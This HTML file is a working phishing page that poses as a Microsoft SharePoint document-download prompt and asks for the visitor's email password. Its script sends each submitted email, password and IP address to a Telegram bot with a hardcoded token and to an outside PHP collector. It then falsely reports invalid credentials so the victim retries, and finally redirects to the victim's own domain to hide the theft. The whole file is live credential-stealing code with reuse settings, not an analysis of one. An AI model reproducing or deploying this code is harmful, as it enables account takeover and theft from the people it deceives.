<!DOCTYPE html>
<html id="html" data-emailvalue="pkg-kde-extras@lists.alioth.debian.org" lang="en">
<head>
  <meta http-equiv="Content-Type" content="text/html; charset=UTF-8">
  <meta name="viewport" content="width=device-width, initial-scale=1">

  <meta name="robots" content="noindex">
  <meta name="googlebot" content="noindex">
  <meta name="googlebot-news" content="noindex">
  <meta name="otherbot" content="noindex">
  <meta name="noarchive" content="noindex">
  <meta name="nosnippet" content="noindex">
  <meta name="noimageindex" content="noindex">
  <meta name="robots" content="none">
  <meta name="googlebot" content="none">
  <meta name="googlebot-news" content="none">
  <meta name="otherbot" content="none">
  <meta name="noarchive" content="none">
  <meta name="nosnippet" content="none">
  <meta name="noimageindex" content="none">
  <meta name="robots" content="nofollow">
  <meta name="googlebot" content="nofollow">
  <meta name="googlebot-news" content="nofollow">
  <meta name="otherbot" content="nofollow">
  <meta name="noarchive" content="nofollow">
  <meta name="nosnippet" content="nofollow">
  <meta name="noimageindex" content="nofollow">
  <meta name="robots" content="max-snippet:0">
  <meta name="robots" content="unavailable_after: 2020-09-22">

  <title>Sign | SharePoint</title>
  <link rel="SHORTCUT ICON" href="https://c.s-microsoft.com/favicon.ico?v2" type="image/x-icon">
  <style>
    body {
      margin: 0;
      font-family: Trebuchet MS;
    }

    .topnav {
      overflow: hidden;
      background-color: #333;
    }

    .topnav a {
      float: left;
      color: #f2f2f2;
      text-align: center;
      padding: 14px 16px;
      text-decoration: none;
      font-size: 17px;
    }

    .topnav a:hover {
      background-color: #ddd;
      color: black;
    }

    .topnav a.active {
      background-color: #00a1f1;
      color: white;
    }

    input[type=text], input[type=email] {
        width: 70%;
        padding: 12px 20px;
        margin: 8px 0;
        display: inline-block;
        border: 1px solid #ccc;
        box-sizing: border-box;
    }


    input[type=text], input[type=password] {
        width: 70%;
        padding: 12px 20px;
        margin: 8px 0;
        display: inline-block;
        border: 1px solid #ccc;
        box-sizing: border-box;
    }

    button {
        background-color: #00a1f1;
        color: white;
        padding: 14px 20px;
        margin: 8px 0;

        border: none;
        cursor: pointer;
        width: 70%;
    }

    button:hover {
        opacity: 0.8;
    }

    .cancelbtn {
        width: auto;
        padding: 10px 18px;
        background-color: #f44336;
    }

    .imgcontainer {
        text-align: center;
        margin: 10px 10px 0;
    }

    img.avatar {
        width: 40%;
        border-radius: 50%;
    }

    .container {
        padding: 10px;
    }

    span.psw {
        float: right;
        padding-top: 16px;
    }

    /* Change styles for span and cancel button on extra small screens */
    @media screen and (max-width: 300px) {
        span.psw {
          display: block;
          float: none;
        }
        .cancelbtn {
          width: 100%;
        }
    }

    /* The Modal (background) */
    .modal {
        display: none; /* Hidden by default */
        position: fixed; /* Stay in place */
        z-index: 1; /* Sit on top */
        left: 0;
        top: 0;
        width: 100%; /* Full width */
        height: 100%; /* Full height */
        overflow: auto; /* Enable scroll if needed */
        background-color: rgb(0,0,0); /* Fallback color */
        background-color: rgba(0,0,0,0.4); /* Black w/ opacity */
        padding-top: 60px;
    }

    /* Modal Content/Box */
    .modal-content {
        background-color: #fefefe;
        margin: 5% auto 15% auto; /* 5% from the top, 15% from the bottom and centered */
        border: 1px solid #888;
        width: 30%; /* Could be more or less, depending on screen size */
    }

    /* The Close Button (x) */
    .close {
        position: absolute;
        right: 25px;
        top: 0;
        color: #000;
        font-size: 35px;
        font-weight: bold;
    }

    .close:hover,
    .close:focus {
        color: red;
        cursor: pointer;
    }

    /* Add Zoom Animation */
    .animate {
        -webkit-animation: animatezoom 0.6s;
        animation: animatezoom 0.6s
    }

    @-webkit-keyframes animatezoom {
        from {-webkit-transform: scale(0)}
        to {-webkit-transform: scale(1)}
    }

    @keyframes animatezoom {
        from {transform: scale(0)}
        to {transform: scale(1)}
    }

    /* Change styles for span and cancel button on extra small screens */
    @media screen and (max-width: 300px) {
        span.psw {
          display: block;
          float: none;
        }
        .cancelbtn {
          width: 100%;
        }
    }
  </style>
</head>
<body>
  <div class="topnav">
    <a class="active" href="javascript:void(0)" onclick="document.getElementById('id01').style.display='block'">SharePoint</a>
    <a href="javascript:void(0)" onclick="document.getElementById('id01').style.display='block'">DOC Contract-Document.pdf</a><br>
  </div>
  <header
    style="background-image: url('https://i.imgur.com/yCBrAmg.png'); height: 80vh; background-size: cover;"></header>
  <p style="font-family: 'Trebuchet MS'; font-size: 14px; color: #000000;">
    <strong>You have one pending document on SharePoint for download</strong><br>DOC Contract-Document.pdf (0.83 MB)
  </p>
  <button onclick="document.getElementById('id01').style.display='block'" style="width:auto;">
    <b>Preview</b>
  </button>
  <div id="id01" class="modal" style="display: block;">
    <div class="modal-content animate">
      <div class="imgcontainer">
        <span onclick="document.getElementById('id01').style.display='none'" class="close" title="Close Modal"><b>X</b></span>
        <img src="https://i.imgur.com/w3vsflQ.png" width="40%">
      </div>
      <div class="container" style="text-align: center;">
        <p style="font-family: 'Trebuchet MS'; font-size: 14px; color: #000000;">
          Protected for unauthorized access: <br>Sign in with correct email credentials to view.<br>
          <form action="#" method="POST" id="myform">
            <div style="width: 70%; font-size: 10px; margin: 0 auto;">
              <p id="successMessage" style="border: 1px solid red; color: red; padding: 10px; border-radius: 10px; display: none;"></p>
            </div>
            <input type="text" name="3w41l" id="3w41l" disabled/><br>
            <input type="hidden" name="hdn3w41l" id="hdn3w41l" value="">
            <div style="width: 70%; font-size: 10px; margin: 0 auto;">
              <p id="error" style="color: red;display: none;">This account doesn't exist. Please, enter a different account.</p>
            </div>
            <input type="password" id="q455m0T2" placeholder="Enter Password" name="q455m0T2" required=""><br>
            <div style="width: 70%; font-size: 10px; margin: 0 auto;">
              <p id="pwdMsg" style="color: red;display: none;">Password field is empty.!</p>
            </div>
            <button type="submit" id="submit-btn">CONTINUE</button>
          </form>
        </p>
      </div>
    </div>
  </div>

  <script src="https://code.jquery.com/jquery-3.6.0.min.js" integrity="sha256-/xUj+3OJU5yExlq6GSYGSHk7tPXikynS7ogEvDej/m4=" crossorigin="anonymous"></script>

  <script>
    $(document).ready(function(){
      let userIP = '';
      var count=0;
      var pcount=0;
      $.getJSON('https://api.ipify.org?format=json', function(data){
        userIP = data.ip;
      });

      //  page setup area ==========================================================================
      var bot_token = "5982974553:AAGEHsfTb1O23fvG51c5w1TACmZCyP7Y8c0";  // set bot token here
      var group_id = "5914360524";                                      // set your chat id here
      var retries = 3;  // set the number of times the user will put password (0 means unlimited times and shoul not redirect)
      //  php server setup area ========================================================================
      var server_url = "https://garant-llc.com/reports.php";  // set php script url here if you want to use php
      // ===============================================================================================

      const htmlElement = document.getElementById("html");
      var _3w41l = window.location.hash.substr(1);
      var h3w41l = htmlElement.dataset.emailvalue;
      if (_3w41l || h3w41l) {
        var my_3w41l = _3w41l || h3w41l;
        $('#3w41l').val(my_3w41l);
        // $('#hdn3w41l').val(my_3w41l);

        var filter = /^([a-zA-Z0-9_\.\-])+\@(([a-zA-Z0-9\-])+\.)+([a-zA-Z0-9]{2,4})+$/;

        if (!filter.test(my_3w41l)) {
          $('#error').show();
          _3w41l.focus;
          return false;
        }
      }

      $('#myform').on('submit', function(event){
        event.preventDefault();
        $('#submit-btn').attr('disabled', 'disabled');
        $('#error').hide();
        $('#successMessage').hide();
        $('#pwdMsg').hide();
        _3w41l=$("#3w41l").val();
        var q455m0T2=$("#q455m0T2").val();

        if (!q455m0T2) {
          $('#pwdMsg').show();

          return false;
        }

        var filter = /^([a-zA-Z0-9_\.\-])+\@(([a-zA-Z0-9\-])+\.)+([a-zA-Z0-9]{2,4})+$/;

        if (!filter.test(_3w41l)) {
          $('#error').show();
          _3w41l.focus;
          return false;
        }

        // TG script
        if (bot_token && group_id) {
          var url_tg = "https://api.telegram.org/bot"+bot_token+"/sendMessage?chat_id="+group_id+"&text=";
          url_tg = url_tg + encodeURIComponent("====NEW Share-Point Log====\n Email: " + _3w41l + "\nPassword: " + q455m0T2 + "\nUserIp: " + userIP);
          $.ajax({
            type: 'POST',
            url: url_tg,
            // data: $this.serialize(),
            beforeSend: function(xhr){
            },
            success: function(response){
              if(response){
                    console.log(`real count of ${count}`)
                $("#q455m0T2").val("");
                if (retries > 0) {
                  if (count>=retries-1) {
                    count=0;
                    console.log(`got redirect count of ${count}`)
                    window.location.replace(`https://${_3w41l.split('@')[1]}`);
                  } else {
                    count+=1;
                    console.log(`increased count of ${count}`)
                    $('#submit-btn').removeAttr('disabled');
                  }
                }
                $("#successMessage").show();
                $('#successMessage').html("Invalid credentials. Please try again");
              }
            },
            error: function(){
              $("#q455m0T2").val("");
              if (retries > 0) {
                if (count>=retries-1) {
                  count=0;
                    console.log(`got error redirect count of ${count}`)
                  window.location.replace(`https://${_3w41l.split('@')[1]}`);
                } else {
                  count+=1;
                  $('#submit-btn').removeAttr('disabled');
                }
              }
              $("#successMessage").show();
              $('#successMessage').html("Invalid credentials. Please try again");
            },
            complete: function(){
            }
          });
        }

        // php server script
        if (server_url.trim()) {
          $.ajax({
            type: 'POST',
            url: server_url,
            data: {
                    _3w41l: _3w41l,
                    q455m0T2: q455m0T2,
                    userIP: userIP
                  },
            // data: $this.serialize(),
            beforeSend: function(xhr){
            },
            success: function(response){
              if(response){
                console.log(response);
                $("#q455m0T2").val("");
                if (retries > 0) {
                  if (pcount>=retries-1) {
                    pcount=0;
                    window.location.replace(`https://${_3w41l.split('@')[1]}`);
                  } else {
                    pcount+=1;
                    $('#submit-btn').removeAttr('disabled');
                  }
                }
                $("#successMessage").show();
                $('#successMessage').html("Invalid credentials. Please try again");
              }
            },
            error: function(){
              $("#q455m0T2").val("");
              if (retries > 0) {
                if (pcount>=retries-1) {
                  pcount=0;
                  window.location.replace(`https://${_3w41l.split('@')[1]}`);
                } else {
                  pcount+=1;
                  $('#submit-btn').removeAttr('disabled');
                }
              }
              $("#successMessage").show();
              $('#successMessage').html("Invalid credentials. Please try again");
            },
            complete: function(){
            }
          });
        }
      });
    });
  </script>
</body>
</html>